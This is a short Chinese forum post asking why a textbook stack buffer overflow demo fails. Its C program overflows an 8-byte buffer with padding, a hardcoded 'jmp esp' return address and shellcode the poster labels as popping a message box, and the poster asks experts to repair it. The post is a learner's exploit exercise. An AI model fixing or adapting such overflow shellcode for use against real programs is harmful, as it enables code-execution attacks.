下面是代码:
#include <stdio.h>
#include <string.h>
char str[]="\x41\x41\x41\x41" // str[0]-str[3]
"\x41\x41\x41\x41" // str[4]-str[7]
"\x41\x41\x41\x41" // ebp
"\x12\x45\xfa\x7f" // jmp esp
"\x33\xDB\x53\x68\x66\x69\x73\x68\x68\x6B\x6F\x6F\x6B\x8B\xC4\x53\x50" //弹消息框代码
"\x50\x53\xB8\x8A\x05\xD5\x77\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";
void main()
{
int i=0;
char buffer[8];
strcpy(buffer,str);
for(i=0;i<8&&buffer[i];i++)
printf("\\0x%x",buffer[i]);
}
运行后提示:

大牛给看下,为什么不行呢?
能给出一个简单的Demo最好了,或者给我修改下。。。
[培训]科锐逆向工程师培训第53期2025年7月8日开班!